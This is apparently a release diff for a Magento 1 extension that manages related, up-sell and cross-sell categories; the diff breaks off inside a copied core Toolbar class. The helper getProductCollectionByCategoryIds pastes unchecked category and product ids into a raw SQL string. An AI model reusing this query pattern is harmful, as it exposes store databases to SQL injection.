advanced_related_product - Version 1.6.0

Version Notes

Setting Related Products,Up-sell Products,Cross-sell Products easily,powerful assistant.

Download this release

Release Info

Developer iifire
Extension advanced_related_product
Version 1.6.0
Comparing to
See all releases


Version 1.6.0

app/code/community/Iifire/Category/Block/Adminhtml/Categories.php ADDED
@@ -0,0 +1,237 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ class Iifire_Category_Block_Adminhtml_Categories extends Mage_Adminhtml_Block_Catalog_Category_Tree
3
+ {
4
+ protected $_categoryIds;
5
+ protected $_selectedNodes = null;
6
+
7
+ public function __construct()
8
+ {
9
+ parent::__construct();
10
+
11
+ //$this->setTemplate('catalog/product/edit/categories.phtml');
12
+ }
13
+
14
+ /**
15
+ * Retrieve currently edited product
16
+ *
17
+ * @return Mage_Catalog_Model_Product
18
+ */
19
+ public function getCategory()
20
+ {
21
+ $categoryId = $this->getRequest()->getParam('id');
22
+ $category = Mage::getModel('catalog/category')->load($categoryId);
23
+ if ($category->getId()) {
24
+ return $category;
25
+ } else {
26
+ return;
27
+ }
28
+ }
29
+ public function isReadonly()
30
+ {
31
+ //return $this->getProduct()->getCategoriesReadonly();
32
+ return false;
33
+ }
34
+ public function getCategoryType()
35
+ {
36
+ return Mage::registry('iifire_category_type');
37
+ }
38
+ public function getReloadUrl()
39
+ {
40
+ return $this->getUrl('*/iifire_category/edit',array('id'=>$this->getCategory()->getId()));
41
+ }
42
+ public function getEditUrl()
43
+ {
44
+ return $this->getUrl('*/iifire_category/edit');
45
+ }
46
+ public function getCategoriesSaveUrl()
47
+ {
48
+ if($this->getCategory()) {
49
+ return $this->getUrl('*/iifire_category/save',array('id'=>$this->getCategory()->getId()));
50
+ } else {
51
+ return $this->getUrl('*/iifire_category/save');
52
+ }
53
+
54
+ }
55
+ protected function getIdsString()
56
+ {
57
+ if ($this->getCategory()) {
58
+ $type = $this->getCategoryType();
59
+ if ($type=='related') {
60
+ return $this->getCategory()->getRelatedCategories();
61
+ } else if ($type=="upsell") {
62
+ return $this->getCategory()->getUpsellCategories();
63
+ } else if ($type=="crosssell") {
64
+ return $this->getCategory()->getCrosssellCategories();
65
+ } else {
66
+ return;
67
+ }
68
+ } else {
69
+ return;
70
+ }
71
+ }
72
+
73
+ public function getCategoryIds()
74
+ {
75
+ return explode(',',$this->getIdsString());
76
+ }
77
+
78
+ public function getRootNode()
79
+ {
80
+ // $root = parent::getRoot();
81
+ $root = $this->getRoot();
82
+ if ($root && in_array($root->getId(), $this->getCategoryIds())) {
83
+ $root->setChecked(true);
84
+ }
85
+ return $root;
86
+ }
87
+
88
+ public function getRoot($parentNodeCategory=null, $recursionLevel=3)
89
+ {
90
+ if (!is_null($parentNodeCategory) && $parentNodeCategory->getId()) {
91
+ return $this->getNode($parentNodeCategory, $recursionLevel);
92
+ }
93
+ $root = Mage::registry('root');
94
+ if (is_null($root)) {
95
+ $storeId = (int) $this->getRequest()->getParam('store');
96
+
97
+ if ($storeId) {
98
+ $store = Mage::app()->getStore($storeId);
99
+ $rootId = $store->getRootCategoryId();
100
+ }
101
+ else {
102
+ $rootId = Mage_Catalog_Model_Category::TREE_ROOT_ID;
103
+ }
104
+
105
+ $ids = $this->getSelectedCategoriesPathIds($rootId);
106
+ $tree = Mage::getResourceSingleton('catalog/category_tree')
107
+ ->loadByIds($ids, false, false);
108
+
109
+ if ($this->getCategory()) {
110
+ $tree->loadEnsuredNodes($this->getCategory(), $tree->getNodeById($rootId));
111
+ }
112
+
113
+ $tree->addCollectionData($this->getCategoryCollection());
114
+
115
+ $root = $tree->getNodeById($rootId);
116
+
117
+ if ($root && $rootId != Mage_Catalog_Model_Category::TREE_ROOT_ID) {
118
+ $root->setIsVisible(true);
119
+ if ($this->isReadonly()) {
120
+ $root->setDisabled(true);
121
+ }
122
+ }
123
+ elseif($root && $root->getId() == Mage_Catalog_Model_Category::TREE_ROOT_ID) {
124
+ $root->setName(Mage::helper('catalog')->__('Root'));
125
+ }
126
+
127
+ Mage::register('root', $root);
128
+ }
129
+
130
+ return $root;
131
+ }
132
+
133
+ protected function _getNodeJson($node, $level=1)
134
+ {
135
+ $item = parent::_getNodeJson($node, $level);
136
+
137
+ $isParent = $this->_isParentSelectedCategory($node);
138
+
139
+ if ($isParent) {
140
+ $item['expanded'] = true;
141
+ }
142
+
143
+ // if ($node->getLevel() > 1 && !$isParent && isset($item['children'])) {
144
+ // $item['children'] = array();
145
+ // }
146
+
147
+
148
+ if (in_array($node->getId(), $this->getCategoryIds())) {
149
+ $item['checked'] = true;
150
+ }
151
+
152
+ if ($this->isReadonly()) {
153
+ $item['disabled'] = true;
154
+ }
155
+ return $item;
156
+ }
157
+
158
+ protected function _isParentSelectedCategory($node)
159
+ {
160
+ foreach ($this->_getSelectedNodes() as $selected) {
161
+ if ($selected) {
162
+ $pathIds = explode('/', $selected->getPathId());
163
+ if (in_array($node->getId(), $pathIds)) {
164
+ return true;
165
+ }
166
+ }
167
+ }
168
+
169
+ return false;
170
+ }
171
+
172
+ protected function _getSelectedNodes()
173
+ {
174
+ if ($this->_selectedNodes === null) {
175
+ $this->_selectedNodes = array();
176
+ $root = $this->getRoot();
177
+ foreach ($this->getCategoryIds() as $categoryId) {
178
+ if ($root) {
179
+ $this->_selectedNodes[] = $root->getTree()->getNodeById($categoryId);
180
+ }
181
+ }
182
+ }
183
+
184
+ return $this->_selectedNodes;
185
+ }
186
+
187
+ public function getCategoryChildrenJson($categoryId)
188
+ {
189
+ $category = Mage::getModel('catalog/category')->load($categoryId);
190
+ $node = $this->getRoot($category, 1)->getTree()->getNodeById($categoryId);
191
+
192
+ if (!$node || !$node->hasChildren()) {
193
+ return '[]';
194
+ }
195
+
196
+ $children = array();
197
+ foreach ($node->getChildren() as $child) {
198
+ $children[] = $this->_getNodeJson($child);
199
+ }
200
+
201
+ return Mage::helper('core')->jsonEncode($children);
202
+ }
203
+
204
+ public function getLoadTreeUrl($expanded=null)
205
+ {
206
+ return $this->getUrl('*/*/categoriesJson', array('_current'=>true));
207
+ }
208
+
209
+ /**
210
+ * Return distinct path ids of selected categories
211
+ *
212
+ * @param int $rootId Root category Id for context
213
+ * @return array
214
+ */
215
+ public function getSelectedCategoriesPathIds($rootId = false)
216
+ {
217
+ $ids = array();
218
+ $categoryIds = $this->getCategoryIds();
219
+ if (empty($categoryIds)) {
220
+ return array();
221
+ }
222
+ $collection = Mage::getResourceModel('catalog/category_collection');
223
+
224
+ $collection->addFieldToFilter('entity_id', array('in'=>$categoryIds));
225
+ foreach ($collection as $item) {
226
+ if ($rootId && !in_array($rootId, $item->getPathIds())) {
227
+ continue;
228
+ }
229
+ foreach ($item->getPathIds() as $id) {
230
+ if (!in_array($id, $ids)) {
231
+ $ids[] = $id;
232
+ }
233
+ }
234
+ }
235
+ return $ids;
236
+ }
237
+ }
app/code/community/Iifire/Category/Block/Adminhtml/Category.php ADDED
@@ -0,0 +1,20 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ class Iifire_Category_Block_Adminhtml_Category extends Mage_Adminhtml_Block_Template
3
+ {
4
+ public function __construct()
5
+ {
6
+ parent::__construct();
7
+ }
8
+
9
+
10
+ protected function _prepareLayout()
11
+ {
12
+ return parent::_prepareLayout();
13
+
14
+ }
15
+
16
+ public function getHeaderText()
17
+ {
18
+ return Mage::helper('iifire_show')->__('Iifire Category Management');
19
+ }
20
+ }
app/code/community/Iifire/Category/Block/Adminhtml/Tree.php ADDED
@@ -0,0 +1,288 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+
3
+ class Iifire_Category_Block_Adminhtml_Tree extends Mage_Adminhtml_Block_Catalog_Category_Abstract
4
+ {
5
+
6
+ protected $_withProductCount;
7
+
8
+ public function __construct()
9
+ {
10
+ parent::__construct();
11
+ $this->setUseAjax(true);
12
+ $this->_withProductCount = true;
13
+ }
14
+
15
+ protected function _prepareLayout()
16
+ {
17
+ $addUrl = $this->getUrl("*/*/add", array(
18
+ '_current'=>true,
19
+ 'id'=>null,
20
+ '_query' => false
21
+ ));
22
+ $this->setChild('store_switcher',
23
+ $this->getLayout()->createBlock('adminhtml/store_switcher')
24
+ ->setSwitchUrl($this->getUrl('*/*/*', array('_current'=>true, '_query'=>false, 'store'=>null)))
25
+ ->setTemplate('store/switcher/enhanced.phtml')
26
+ );
27
+ return parent::_prepareLayout();
28
+ }
29
+
30
+ protected function _getDefaultStoreId()
31
+ {
32
+ return Mage_Catalog_Model_Abstract::DEFAULT_STORE_ID;
33
+ }
34
+
35
+ public function getCategoryCollection()
36
+ {
37
+ $storeId = $this->getRequest()->getParam('store', $this->_getDefaultStoreId());
38
+ $collection = $this->getData('category_collection');
39
+ if (is_null($collection)) {
40
+ $collection = Mage::getModel('catalog/category')->getCollection();
41
+
42
+ /* @var $collection Mage_Catalog_Model_Resource_Eav_Mysql4_Category_Collection */
43
+ $collection->addAttributeToSelect('name')
44
+ ->addAttributeToSelect('is_active')
45
+ ->setProductStoreId($storeId)
46
+ ->setLoadProductCount($this->_withProductCount)
47
+ ->setStoreId($storeId);
48
+
49
+ $this->setData('category_collection', $collection);
50
+ }
51
+ return $collection;
52
+ }
53
+
54
+ public function getExpandButtonHtml()
55
+ {
56
+ return $this->getChildHtml('expand_button');
57
+ }
58
+
59
+ public function getCollapseButtonHtml()
60
+ {
61
+ return $this->getChildHtml('collapse_button');
62
+ }
63
+
64
+ public function getStoreSwitcherHtml()
65
+ {
66
+ return $this->getChildHtml('store_switcher');
67
+ }
68
+
69
+ public function getLoadTreeUrl($expanded=null)
70
+ {
71
+ $params = array('_current'=>true, 'id'=>null,'store'=>null);
72
+ if (
73
+ (is_null($expanded) && Mage::getSingleton('admin/session')->getIsTreeWasExpanded())
74
+ || $expanded == true) {
75
+ $params['expand_all'] = true;
76
+ }
77
+ return $this->getUrl('*/catalog_category/categoriesJson', $params);
78
+ }
79
+
80
+ public function getNodesUrl()
81
+ {
82
+ return $this->getUrl('*/catalog_category/jsonTree');
83
+ }
84
+ public function getEditUrl()
85
+ {
86
+ return $this->getUrl('*/iifire_category/edit');
87
+ }
88
+ public function getSwitchTreeUrl()
89
+ {
90
+ return $this->getUrl("*/catalog_category/tree", array('_current'=>true, 'store'=>null, '_query'=>false, 'id'=>null, 'parent'=>null));
91
+ }
92
+
93
+ public function getIsWasExpanded()
94
+ {
95
+ return Mage::getSingleton('admin/session')->getIsTreeWasExpanded();
96
+ }
97
+
98
+ public function getMoveUrl()
99
+ {
100
+ return $this->getUrl('*/catalog_category/move', array('store'=>$this->getRequest()->getParam('store')));
101
+ }
102
+
103
+ public function getTree($parenNodeCategory=null)
104
+ {
105
+ $rootArray = $this->_getNodeJson($this->getRoot($parenNodeCategory));
106
+ $tree = isset($rootArray['children']) ? $rootArray['children'] : array();
107
+ return $tree;
108
+ }
109
+
110
+ public function getTreeJson($parenNodeCategory=null)
111
+ {
112
+ $rootArray = $this->_getNodeJson($this->getRoot($parenNodeCategory));
113
+ //var_dump($rootArray);
114
+ $json = Mage::helper('core')->jsonEncode(isset($rootArray['children']) ? $rootArray['children'] : array());
115
+ return $json;
116
+ }
117
+
118
+ /**
119
+ * Get JSON of array of categories, that are breadcrumbs for specified category path
120
+ *
121
+ * @param string $path
122
+ * @param string $javascriptVarName
123
+ * @return string
124
+ */
125
+ public function getBreadcrumbsJavascript($path, $javascriptVarName)
126
+ {
127
+ if (empty($path)) {
128
+ return '';
129
+ }
130
+
131
+ $categories = Mage::getResourceSingleton('catalog/category_tree')
132
+ ->setStoreId($this->getStore()->getId())->loadBreadcrumbsArray($path);
133
+ if (empty($categories)) {
134
+ return '';
135
+ }
136
+ foreach ($categories as $key => $category) {
137
+ $categories[$key] = $this->_getNodeJson($category);
138
+ }
139
+ return
140
+ '<script type="text/javascript">'
141
+ . $javascriptVarName . ' = ' . Mage::helper('core')->jsonEncode($categories) . ';'
142
+ . ($this->canAddSubCategory() ? '$("add_subcategory_button").show();' : '$("add_subcategory_button").hide();')
143
+ . '</script>';
144
+ }
145
+
146
+ /**
147
+ * Get JSON of a tree node or an associative array
148
+ *
149
+ * @param Varien_Data_Tree_Node|array $node
150
+ * @param int $level
151
+ * @return string
152
+ */
153
+ protected function _getNodeJson($node, $level = 0)
154
+ {
155
+ // create a node from data array
156
+ if (is_array($node)) {
157
+ $node = new Varien_Data_Tree_Node($node, 'entity_id', new Varien_Data_Tree);
158
+ }
159
+
160
+ $item = array();
161
+ $item['text'] = $this->buildNodeName($node);
162
+
163
+ //$rootForStores = Mage::getModel('core/store')->getCollection()->loadByCategoryIds(array($node->getEntityId()));
164
+ $rootForStores = in_array($node->getEntityId(), $this->getRootIds());
165
+
166
+ $item['id'] = $node->getId();
167
+ $item['store'] = (int) $this->getStore()->getId();
168
+ $item['path'] = $node->getData('path');
169
+
170
+ $item['cls'] = 'folder ' . ($node->getIsActive() ? 'active-category' : 'no-active-category');
171
+ //$item['allowDrop'] = ($level<3) ? true : false;
172
+ $allowMove = $this->_isCategoryMoveable($node);
173
+ $item['allowDrop'] = $allowMove;
174
+ // disallow drag if it's first level and category is root of a store
175
+ $item['allowDrag'] = $allowMove && (($node->getLevel()==1 && $rootForStores) ? false : true);
176
+
177
+ if ((int)$node->getChildrenCount()>0) {
178
+ $item['children'] = array();
179
+ }
180
+
181
+ $isParent = $this->_isParentSelectedCategory($node);
182
+ if ($node->hasChildren()) {
183
+ $item['children'] = array();
184
+ if (!($this->getUseAjax() && $node->getLevel() > 1 && !$isParent)) {
185
+ foreach ($node->getChildren() as $child) {
186
+ $item['children'][] = $this->_getNodeJson($child, $level+1);
187
+ }
188
+ }
189
+ }
190
+
191
+ if ($isParent || $node->getLevel() < 2) {
192
+ $item['expanded'] = true;
193
+ }
194
+
195
+ return $item;
196
+ }
197
+
198
+ /**
199
+ * Get category name
200
+ *
201
+ * @param Varien_Object $node
202
+ * @return string
203
+ */
204
+ public function buildNodeName($node)
205
+ {
206
+ $result = $this->htmlEscape($node->getName());
207
+ if ($this->_withProductCount) {
208
+ $result .= ' (' . $node->getProductCount() . ')';
209
+ }
210
+ return $result;
211
+ }
212
+
213
+ protected function _isCategoryMoveable($node)
214
+ {
215
+ $options = new Varien_Object(array(
216
+ 'is_moveable' => true,
217
+ 'category' => $node
218
+ ));
219
+
220
+ Mage::dispatchEvent('adminhtml_catalog_category_tree_is_moveable',
221
+ array('options'=>$options)
222
+ );
223
+
224
+ return $options->getIsMoveable();
225
+ }
226
+
227
+ protected function _isParentSelectedCategory($node)
228
+ {
229
+ if ($node && $this->getCategory()) {
230
+ $pathIds = $this->getCategory()->getPathIds();
231
+ if (in_array($node->getId(), $pathIds)) {
232
+ return true;
233
+ }
234
+ }
235
+
236
+ return false;
237
+ }
238
+
239
+ /**
240
+ * Check if page loaded by outside link to category edit
241
+ *
242
+ * @return boolean
243
+ */
244
+ public function isClearEdit()
245
+ {
246
+ return (bool) $this->getRequest()->getParam('clear');
247
+ }
248
+
249
+ /**
250
+ * Check availability of adding root category
251
+ *
252
+ * @return boolean
253
+ */
254
+ public function canAddRootCategory()
255
+ {
256
+ $options = new Varien_Object(array('is_allow'=>true));
257
+ Mage::dispatchEvent(
258
+ 'adminhtml_catalog_category_tree_can_add_root_category',
259
+ array(
260
+ 'category' => $this->getCategory(),
261
+ 'options' => $options,
262
+ 'store' => $this->getStore()->getId()
263
+ )
264
+ );
265
+
266
+ return $options->getIsAllow();
267
+ }
268
+
269
+ /**
270
+ * Check availability of adding sub category
271
+ *
272
+ * @return boolean
273
+ */
274
+ public function canAddSubCategory()
275
+ {
276
+ $options = new Varien_Object(array('is_allow'=>true));
277
+ Mage::dispatchEvent(
278
+ 'adminhtml_catalog_category_tree_can_add_sub_category',
279
+ array(
280
+ 'category' => $this->getCategory(),
281
+ 'options' => $options,
282
+ 'store' => $this->getStore()->getId()
283
+ )
284
+ );
285
+
286
+ return $options->getIsAllow();
287
+ }
288
+ }
app/code/community/Iifire/Category/Helper/Data.php ADDED
@@ -0,0 +1,76 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+
3
+ class Iifire_Category_Helper_Data extends Mage_Core_Helper_Abstract
4
+ {
5
+ protected $_crosssellNum = 4;
6
+ protected $_relatedNum = 4;
7
+ protected $_upsellNum = 4;
8
+
9
+ const XML_PRODUCT_CROSSSELL_NUM = 'iifire_category/product/crosssell';
10
+ const XML_PRODUCT_RELATED_NUM = 'iifire_category/product/related';
11
+ const XML_PRODUCT_UPSELL_NUM = 'iifire_category/product/upsell';
12
+
13
+
14
+ public function getCrosssellNum()
15
+ {
16
+ $num = (int)Mage::getStoreConfig(self::XML_PRODUCT_CROSSSELL_NUM);
17
+ return $num ? $num : $this->_crosssellNum;
18
+ }
19
+ public function getRelatedNum()
20
+ {
21
+ $num = (int)Mage::getStoreConfig(self::XML_PRODUCT_RELATED_NUM);
22
+ return $num ? $num : $this->_relatedNum;
23
+ }
24
+ public function getUpsellNum()
25
+ {
26
+ $num = (int)Mage::getStoreConfig(self::XML_PRODUCT_UPSELL_NUM);
27
+ return $num ? $num : $this->_upsellNum;
28
+ }
29
+ public function getTypeOptions()
30
+ {
31
+ return array(
32
+ 'related' => $this->__('Related'),
33
+ 'upsell' => $this->__('Up-sell'),
34
+ 'crosssell' => $this->__('Cross-sell'),
35
+ 'all' => $this->__('All'),
36
+ );
37
+ }
38
+ public function getCategoryIdString($orignIdString)
39
+ {
40
+ $categoryIds = str_replace(' ','',$orignIdString);
41
+ $categoryIds = explode(',',$categoryIds);
42
+ $tmp = array();
43
+ if (count($categoryIds)) {
44
+ foreach($categoryIds as $c) {
45
+ if (!in_array($c, $tmp) && $c) {
46
+ array_push($tmp,$c);
47
+ }
48
+ }
49
+ if (count($tmp)) {
50
+ return implode(',',$tmp);
51
+ } else {
52
+ return;
53
+ }
54
+ } else {
55
+ return;
56
+ }
57
+ }
58
+ public function getProductCollectionByCategoryIds($categoryIds,$productId)
59
+ {
60
+ $categoryProductTable = Mage::getSingleton('core/resource')->getTableName('catalog_category_product');
61
+ $select = "select distinct(product_id) product_id from {$categoryProductTable} where category_id in (".$categoryIds.") and product_id!={$productId} order by rand()";
62
+ $data = Mage::getSingleton('core/resource')->getConnection('core_read')->fetchAll($select);
63
+ $collection = Mage::getResourceModel('catalog/product_collection')
64
+ ->addAttributeToSelect(Mage::getSingleton('catalog/config')->getProductAttributes())
65
+ ->addMinimalPrice()
66
+ ->addFinalPrice()
67
+ ->addTaxPercents();
68
+ $collection->addAttributeToFilter('entity_id',array('in'=>array_values($data)));
69
+
70
+ Mage::getSingleton('catalog/product_status')->addVisibleFilterToCollection($collection);
71
+ Mage::getSingleton('catalog/product_visibility')->addVisibleInCatalogFilterToCollection($collection);
72
+ $collection->addStoreFilter();
73
+ $collection->getSelect()->order('rand()');
74
+ return $collection;
75
+ }
76
+ }
app/code/community/Iifire/Category/Helper/Toolbar.php ADDED
@@ -0,0 +1,830 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Magento
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the Open Software License (OSL 3.0)
8
+ * that is bundled with this package in the file LICENSE.txt.
9
+ * It is also available through the world-wide-web at this URL:
10
+ * http://opensource.org/licenses/osl-3.0.php
11
+ * If you did not receive a copy of the license and are unable to
12
+ * obtain it through the world-wide-web, please send an email
13
+ * to license@magentocommerce.com so we can send you a copy immediately.
14
+ *
15
+ * DISCLAIMER
16
+ *
17
+ * Do not edit or add to this file if you wish to upgrade Magento to newer
18
+ * versions in the future. If you wish to customize Magento for your
19
+ * needs please refer to http://www.magentocommerce.com for more information.
20
+ *
21
+ * @category Mage
22
+ * @package Mage_Catalog
23
+ * @copyright Copyright (c) 2011 Magento Inc. (http://www.magentocommerce.com)
24
+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
25
+ */
26
+
27
+
28
+ /**
29
+ * Product list toolbar
30
+ *
31
+ * @category Mage
32
+ * @package Mage_Catalog
33
+ * @author Magento Core Team <core@magentocommerce.com>
34
+ */
35
+ class Mage_Catalog_Block_Product_List_Toolbar extends Mage_Core_Block_Template
36
+ {
37
+ /**
38
+ * Products collection
39
+ *
40
+ * @var Mage_Core_Model_Mysql4_Collection_Abstract
41
+ */
42
+ protected $_collection = null;
43
+
44
+ /**
45
+ * GET parameter page variable
46
+ *
47
+ * @var string
48
+ */
49
+ protected $_pageVarName = 'p';
50
+
51
+ /**
52
+ * GET parameter order variable
53
+ *
54
+ * @var string
55
+ */
56
+ protected $_orderVarName = 'order';
57
+
58
+ /**
59
+ * GET parameter direction variable
60
+ *
61
+ * @var string
62
+ */
63
+ protected $_directionVarName = 'dir';
64
+
65
+ /**
66
+ * GET parameter mode variable
67
+ *
68
+ * @var string
69
+ */
70
+ protected $_modeVarName = 'mode';
71
+
72
+ /**
73
+ * GET parameter limit variable
74
+ *
75
+ * @var string
76
+ */
77
+ protected $_limitVarName = 'limit';
78
+
79
+ /**
80
+ * List of available order fields
81
+ *
82
+ * @var array
83
+ */
84
+ protected $_availableOrder = array();
85
+
86
+ /**
87
+ * List of available view types
88
+ *
89
+ * @var string
90
+ */
91
+ protected $_availableMode = array();
92
+
93
+ /**
94
+ * Is enable View switcher
95
+ *
96
+ * @var bool
97
+ */
98
+ protected $_enableViewSwitcher = true;
99
+
100
+ /**
101
+ * Is Expanded
102
+ *
103
+ * @var bool
104
+ */
105
+ protected $_isExpanded = true;
106
+
107
+ /**
108
+ * Default Order field
109
+ *
110
+ * @var string
111
+ */
112
+ protected $_orderField = null;
113
+
114
+ /**
115
+ * Default direction
116
+ *
117
+ * @var string
118
+ */
119
+ protected $_direction = 'desc';
120
+
121
+ /**
122
+ * Default View mode
123
+ *
124
+ * @var string
125
+ */
126
+ protected $_viewMode = null;
127
+
128
+ /**
129
+ * Available page limits for different list modes
130
+ *
131
+ * @var array
132
+ */
133
+ protected $_availableLimit = array();
134
+
135
+ /**
136
+ * Default limits per page
137
+ *
138
+ * @var array
139
+ */
140
+ protected $_defaultAvailableLimit = array(10=>10,20=>20,50=>50);
141
+
142
+ /**
143
+ * @var bool $_paramsMemorizeAllowed
144
+ */
145
+ protected $_paramsMemorizeAllowed = true;
146
+
147
+ /**
148
+ * Retrieve Catalog Config object
149
+ *
150
+ * @return Mage_Catalog_Model_Config
151
+ */
152
+ protected function _getConfig()
153
+ {
154
+ return Mage::getSingleton('catalog/config');
155
+ }
156
+
157
+ /**
158
+ * Init Toolbar
159
+ *
160
+ */
161
+ protected function _construct()
162
+ {
163
+ parent::_construct();
164
+ $this->_orderField = Mage::getStoreConfig(
165
+ Mage_Catalog_Model_Config::XML_PATH_LIST_DEFAULT_SORT_BY
166
+ );
167
+
168
+ $this->_availableOrder = $this->_getConfig()->getAttributeUsedForSortByArray();
169
+
170
+ switch (Mage::getStoreConfig('catalog/frontend/list_mode')) {
171
+ case 'grid':
172
+ $this->_availableMode = array('grid' => $this->__('Grid'));
173
+ break;
174
+
175
+ case 'list':
176
+ $this->_availableMode = array('list' => $this->__('List'));
177
+ break;
178
+
179
+ case 'grid-list':
180
+ $this->_availableMode = array('grid' => $this->__('Grid'), 'list' => $this->__('List'));
181
+ break;
182
+
183
+ case 'list-grid':
184
+ $this->_availableMode = array('list' => $this->__('List'), 'grid' => $this->__('Grid'));
185
+ break;
186
+ }
187
+ $this->setTemplate('catalog/product/list/toolbar.phtml');
188
+ }
189
+
190
+ /**
191
+ * Disable list state params memorizing
192
+ */
193
+ public function disableParamsMemorizing()
194
+ {
195
+ $this->_paramsMemorizeAllowed = false;
196
+ return $this;
197
+ }
198
+
199
+ /**
200
+ * Memorize parameter value for session
201
+ *
202
+ * @param string $param parameter name
203
+ * @param mixed $value parameter value
204
+ * @return Mage_Catalog_Block_Product_List_Toolbar
205
+ */
206
+ protected function _memorizeParam($param, $value)
207
+ {
208
+ $session = Mage::getSingleton('catalog/session');
209
+ if ($this->_paramsMemorizeAllowed && !$session->getParamsMemorizeDisabled()) {
210
+ $session->setData($param, $value);
211
+ }
212
+ return $this;
213
+ }
214
+
215
+ /**
216
+ * Set collection to pager
217
+ *
218
